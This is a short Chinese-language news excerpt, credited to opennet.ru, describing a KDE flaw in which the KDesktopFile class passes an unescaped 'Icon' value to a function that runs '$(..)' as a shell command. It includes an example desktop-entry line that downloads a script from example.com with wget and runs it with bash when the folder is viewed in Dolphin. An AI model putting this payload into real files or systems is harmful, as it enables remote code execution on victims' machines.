在 KDE 中
该问题是由 KDesktopFile 类的错误实现引起的,该类在处理“Icon”变量时,没有适当的转义,将值传递给 KConfigPrivate::expandString() 函数,该函数执行 shell 特殊字符的扩展,包括处理字符串“$(..)”作为要执行的命令。 与XDG规范的要求相反,实施
例如,要攻击
[桌面条目]类型=目录
图标[$e]=$(wget${IFS}https://example.com/FILENAME.sh&&/bin/bash${IFS}FILENAME.sh)
当您尝试在 Dolphin 文件管理器中查看存档的内容时,将下载并执行脚本 https://example.com/FILENAME.sh。
来源: opennet.ru